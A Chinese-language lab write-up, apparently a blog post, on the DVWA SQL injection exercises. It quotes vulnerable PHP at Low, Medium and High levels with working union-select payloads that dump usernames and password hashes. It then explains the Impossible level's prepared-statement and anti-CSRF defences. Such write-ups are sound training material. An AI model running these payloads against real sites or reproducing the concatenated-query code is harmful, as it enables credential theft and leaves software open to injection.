往期博文:
DVWA靶场-Brute Force Source 暴力破解
靶场环境搭建
目录
SQL Injection
Low SQL Injection
核心代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
// 查询数据库
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
}
?>
单引号闭合,没有进行任何过滤,直接联合查询走一波
?id=-1' union select 1,(select+group_concat(user,':',password)+from+users)--+&Submit=Submit#
Medium SQL Injection
核心代码
<?php
$id = $_POST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
?>
这里和low级别的区别在于有原来的get 方式提交变成了post 方式,且由原来的单引号闭合变为了直接拼接sql 语句
id=1 union select 1,(select+group_concat(user,password) from users)&Submit=Submit#
High SQL Injection
核心代码
<?php
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
?>
high 级别使用了session 获取id 值,闭合方式单引号闭合
直接在跳转的输入框内输入:
-1' union select 1,(select+group_concat(user,password) from users)#
Impossible SQL
核心代码
<?php
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 检查是否是数字或字母
if(is_numeric( $id )) {
// 预编译
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别 首先使用了Anti-CSRF token机制,提高了其安全性。其次采用了预编译语句和PDO技术,有效防御SQL注入。